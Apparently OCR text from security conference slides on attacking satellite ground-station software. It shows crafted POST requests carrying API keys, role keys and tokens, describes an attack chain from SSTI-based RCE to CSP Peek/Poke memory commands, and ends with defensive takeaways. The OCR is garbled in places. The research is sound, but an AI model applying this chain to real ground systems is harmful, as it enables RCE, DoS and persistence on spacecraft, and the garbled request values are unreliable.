» No protection between CSP endpoint and Middle

POST /register
Host: 10.0.2.4 {api-key}—-irole}

Token: od8340@Z@56—p0611w9pfpgo._____——”)?

.« [SNIP]..

. {default key}

"userkey":"49!mvkr9toisSPE",______—”//)a

"role":"po6liw9pfpgo™

43

CSP endpoint

ZMQ ZMQ
Decode Encode

Middleware

Auth check Auth check

api calls api calls

\ 4
Web service
L1

N |

!

Operator Engineer Admin



Syst_em [ - Admin and Peek/Poke

» To trigger peek and poke functions in web, the secona
admin api-key is required as a peer review CSP endpoint

ZMQ ZMQ
» With DB credentials, finally we can send Peek/Poke Decode T l Encode

Middleware
POST /fetch_address

Host: 10.0.2.4 {adminl api-key}-{admin role key}
Token: d2yntRY6PF13k36CLwW3N-PyCypEUDB7E4xgusPJaA

Auth check Auth check

api calls api calls

. [SNIP].. v
{ {admin2 api-key} Web service
"userkey":"dgT1F#7?QqQf ]wuXjHFv="",
"role":"PyCypEUDB7E4xgusPJaA", T T T

N |

"address'":"97a9e000"

!

Operator Engineer Admin
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Syst_em [ -What do I have so far?

« SSTI lead to RCE on Web service

» Create/Search valid api-key and role key to pass the
middleware validation

* CRC/HMAC incomplete protection
» Not able to touch CSP endpoint due to isolation

* Dangerous CSP management protocol - Peek and Poke

RCE, DoS and persistence in satellite or spacecraft!!!!
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Listener

CSP endpoint

ZMQ ZMQ
Decode Encode

Middleware

Auth check Auth check

api calls api calls

v

Web service

A
N A |

Operator Engineer Admin
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Takeaway



Takeaway

* Wide attack phase in satellite services
* space segment, user segment, link segment , ground segment

* Space protocols lack of security design
» Weak encryptions (probably) due to power consumption or other reasons
» Usually no internal validation

* Ground station system is still the critical part of satellite security

» Potential security issues in open projects
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Thanks for your listening

Email : wafflept@gmail.com
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